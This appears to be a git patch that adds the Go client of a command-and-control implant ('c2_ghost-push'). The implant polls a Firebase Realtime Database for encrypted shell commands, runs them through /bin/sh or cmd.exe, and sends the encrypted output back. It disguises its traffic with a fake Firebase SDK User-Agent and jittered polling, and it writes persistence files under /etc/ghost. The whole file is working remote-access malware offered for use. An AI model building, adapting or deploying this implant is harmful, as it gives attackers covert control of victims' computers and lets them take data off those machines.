From dda75eb81181b82bbf7976d11ea89ae9f103aa38 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Wed, 10 Jun 2026 17:13:19 +0000 Subject: [PATCH] Upload files to "c2_ghost-push/cmd/client" --- c2_ghost-push/cmd/client/main.go | 418 +++++++++++++++++++++++++++++++ 1 file changed, 418 insertions(+) create mode 100644 c2_ghost-push/cmd/client/main.go diff --git a/c2_ghost-push/cmd/client/main.go b/c2_ghost-push/cmd/client/main.go new file mode 100644 index 0000000..0e872ae --- /dev/null +++ b/c2_ghost-push/cmd/client/main.go @@ -0,0 +1,418 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + cryptorand "crypto/rand" + "crypto/sha256" + "encoding/base64" + "encoding/json" + "flag" + "fmt" + "io" + "log" + "math/rand" + "net/http" + "os" + "os/exec" + "os/signal" + "runtime" + "strings" + "syscall" + "time" +) + +// ─── Crypto ──────────────────────────────────────────────────────────────── + +func deriveKey(implantID, secret string) []byte { + h := sha256.Sum256([]byte(implantID + ":" + secret)) + return h[:] +} + +func decrypt(cipherB64 string, key []byte) ([]byte, error) { + ciphertext, err := base64.StdEncoding.DecodeString(cipherB64) + if err != nil { + return nil, err + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + ns := gcm.NonceSize() + if len(ciphertext) < ns { + return nil, fmt.Errorf("ciphertext too short") + } + nonce, data := ciphertext[:ns], ciphertext[ns:] + plaintext, err := gcm.Open(nil, nonce, data, nil) + if err != nil { + return nil, err + } + return plaintext, nil +} + +func encrypt(plaintext []byte, key []byte) (string, error) { + block, err := aes.NewCipher(key) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := io.ReadFull(cryptorand.Reader, nonce); err != nil { + return "", err + } + ciphertext := gcm.Seal(nonce, nonce, plaintext, nil) + return base64.StdEncoding.EncodeToString(ciphertext), nil +} + +// ─── Data Types ──────────────────────────────────────────────────────────── + +type CommandPayload struct { + ID string `json:"id"` + Cmd string `json:"cmd"` // encrypted base64 + TS int64 `json:"ts"` +} + +type ResultPayload struct { + Output string `json:"output"` // encrypted base64 + TS int64 `json:"ts"` +} + +// ─── Implant ─────────────────────────────────────────────────────────────── + +type Implant struct { + implantID string + firebaseURL string + secret string + pollInterval time.Duration + jitterMax time.Duration + httpClient *http.Client +} + +func NewImplant(firebaseURL, implantID, secret string, pollInterval, jitterMax time.Duration) *Implant { + // Use a transport with a random-ish TLS fingerprint by setting + // custom cipher suite preferences and using a non-default User-Agent + transport := &http.Transport{ + IdleConnTimeout: 120 * time.Second, + DisableKeepAlives: true, // avoid persistent connections — more stealthy + } + + return &Implant{ + implantID: implantID, + firebaseURL: strings.TrimRight(firebaseURL, "/"), + secret: secret, + pollInterval: pollInterval, + jitterMax: jitterMax, + httpClient: &http.Client{ + Timeout: 60 * time.Second, + Transport: transport, + }, + } +} + +// jitteredInterval returns the poll interval with random jitter applied +func (im *Implant) jitteredInterval() time.Duration { + jitter := time.Duration(rand.Int63n(int64(im.jitterMax))) + return im.pollInterval + jitter +} + +func (im *Implant) firebaseGet(path string) ([]byte, error) { + url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path) + req, err := http.NewRequest("GET", url, nil) + if err != nil { + return nil, err + } + // Generic-looking User-Agent — blends in with Firebase SDK traffic + req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)") + + resp, err := im.httpClient.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + if resp.StatusCode >= 300 { + return nil, fmt.Errorf("firebase GET %s: %s: %s", path, resp.Status, strings.TrimSpace(string(body))) + } + return body, nil +} + +func (im *Implant) firebasePut(path string, body []byte) error { + url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path) + req, err := http.NewRequest("PUT", url, bytes.NewReader(body)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)") + + resp, err := im.httpClient.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode >= 300 { + b, _ := io.ReadAll(resp.Body) + return fmt.Errorf("firebase PUT %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b))) + } + return nil +} + +func (im *Implant) firebaseDelete(path string) error { + url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path) + req, err := http.NewRequest("DELETE", url, nil) + if err != nil { + return err + } + req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)") + + resp, err := im.httpClient.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode >= 300 { + b, _ := io.ReadAll(resp.Body) + return fmt.Errorf("firebase DELETE %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b))) + } + return nil +} + +// poll fetches and processes a command from /commands/ +func (im *Implant) poll() error { + path := fmt.Sprintf("commands/%s", im.implantID) + data, err := im.firebaseGet(path) + if err != nil { + // 404 / null is fine — no command pending + return nil + } + + // If null or empty, no command + trimmed := strings.TrimSpace(string(data)) + if trimmed == "" || trimmed == "null" { + return nil + } + + var cmd CommandPayload + if err := json.Unmarshal(data, &cmd); err != nil { + log.Printf("[-] Failed to parse command payload: %v", err) + // Delete malformed command to avoid re-processing + _ = im.firebaseDelete(path) + return nil + } + + // Decrypt the command + key := deriveKey(im.implantID, im.secret) + plainCmd, err := decrypt(cmd.Cmd, key) + if err != nil { + log.Printf("[-] Failed to decrypt command %s: %v", cmd.ID, err) + // Delete unreadable command + _ = im.firebaseDelete(path) + return nil + } + + commandStr := string(plainCmd) + log.Printf("[+] Received command %s: %s", cmd.ID, commandStr) + + // Execute the command + output, err := im.executeCommand(commandStr) + if err != nil { + output = append(output, fmt.Sprintf("\n[error] %v", err)...) + } + + // Encrypt the output + encOutput, err := encrypt(output, key) + if err != nil { + log.Printf("[-] Failed to encrypt output: %v", err) + return nil + } + + // Write result back + result := ResultPayload{ + Output: encOutput, + TS: time.Now().UnixMilli(), + } + resultData, err := json.Marshal(result) + if err != nil { + log.Printf("[-] Failed to marshal result: %v", err) + return nil + } + + resultPath := fmt.Sprintf("results/%s/%s", im.implantID, cmd.ID) + if err := im.firebasePut(resultPath, resultData); err != nil { + log.Printf("[-] Failed to write result: %v", err) + return nil + } + + log.Printf("[+] Result written for command %s", cmd.ID) + + // Delete the command to signal it's been processed + if err := im.firebaseDelete(path); err != nil { + log.Printf("[-] Failed to delete command %s: %v", cmd.ID, err) + } + + return nil +} + +// executeCommand runs a shell command and returns stdout+stderr +func (im *Implant) executeCommand(cmdStr string) ([]byte, error) { + var cmd *exec.Cmd + + // Use appropriate shell based on platform + if runtime.GOOS == "windows" { + cmd = exec.Command("cmd.exe", "/C", cmdStr) + } else { + cmd = exec.Command("/bin/sh", "-c", cmdStr) + } + + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + err := cmd.Run() + output := stdout.Bytes() + if stderr.Len() > 0 { + if len(output) > 0 { + output = append(output, '\n') + } + output = append(output, stderr.Bytes()...) + } + if err != nil { + if len(output) > 0 { + output = append(output, '\n') + } + output = append(output, []byte(fmt.Sprintf("exit error: %v", err))...) + } + + return output, nil +} + +// Run starts the main polling loop +func (im *Implant) Run(stopCh <-chan struct{}) { + log.Printf("[*] Implant %s starting", im.implantID) + log.Printf("[*] Firebase: %s", im.firebaseURL) + log.Printf("[*] Poll interval: %v + jitter up to %v", im.pollInterval, im.jitterMax) + log.Printf("[*] Platform: %s/%s", runtime.GOOS, runtime.GOARCH) + + for { + select { + case <-stopCh: + log.Printf("[*] Implant stopping") + return + default: + } + + if err := im.poll(); err != nil { + log.Printf("[-] Poll error: %v", err) + } + + // Wait with jitter before next poll + sleepDuration := im.jitteredInterval() + select { + case <-stopCh: + return + case <-time.After(sleepDuration): + } + } +} + +// ─── Main ────────────────────────────────────────────────────────────────── + +func main() { + // Seed RNG for jitter + rand.Seed(time.Now().UnixNano()) + + var ( + projectID string + implantID string + secret string + pollInterval time.Duration + jitterMax time.Duration + verbose bool + ) + + flag.StringVar(&projectID, "project", "", "Firebase project ID (e.g., my-project)") + flag.StringVar(&implantID, "id", "", "Unique implant identifier") + flag.StringVar(&secret, "secret", "", "Encryption secret (must match server)") + flag.DurationVar(&pollInterval, "interval", 30*time.Second, "Base poll interval (e.g., 30s, 1m)") + flag.DurationVar(&jitterMax, "jitter", 15*time.Second, "Maximum random jitter added to interval") + flag.BoolVar(&verbose, "verbose", false, "Verbose logging") + + // Alternative: use a full Firebase Realtime Database URL directly + var firebaseURL string + flag.StringVar(&firebaseURL, "db-url", "", "Full Firebase RTDB URL (overrides --project)") + + flag.Parse() + + if implantID == "" { + log.Fatal("--id is required (unique implant identifier)") + } + + if secret == "" { + log.Fatal("--secret is required (encryption secret, must match server)") + } + + // Build Firebase URL + if firebaseURL == "" { + if projectID == "" { + log.Fatal("either --project or --db-url is required") + } + firebaseURL = fmt.Sprintf("https://%s-default-rtdb.firebaseio.com", projectID) + } + + if !verbose { + log.SetFlags(log.Ltime | log.Lmsgprefix) + log.SetPrefix(fmt.Sprintf("[%s] ", implantID)) + } else { + log.SetFlags(log.Ldate | log.Ltime | log.Lmsgprefix) + log.SetPrefix(fmt.Sprintf("[%s] ", implantID)) + } + + // Minimum jitter floor to avoid deterministic timing + if jitterMax < time.Second { + jitterMax = time.Second + } + + // Persistence: if /etc/ghost/id exists, use that as implant ID + // (allows admin to pre-provision the implant) + if data, err := os.ReadFile("/etc/ghost/id"); err == nil && implantID == "" { + implantID = strings.TrimSpace(string(data)) + log.Printf("[*] Using implant ID from /etc/ghost/id: %s", implantID) + } + + // Write our own identity for next run + os.MkdirAll("/etc/ghost", 0755) + os.WriteFile("/etc/ghost/id", []byte(implantID), 0644) + + // Also persist the secret + os.WriteFile("/etc/ghost/secret", []byte(secret), 0600) + + implant := NewImplant(firebaseURL, implantID, secret, pollInterval, jitterMax) + + // Handle graceful shutdown + stopCh := make(chan struct{}) + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + + go func() { + <-sigCh + log.Printf("[*] Received shutdown signal") + close(stopCh) + // Give the implant time to finish the current poll + time.Sleep(2 * time.Second) + os.Exit(0) + }() + + implant.Run(stopCh) +}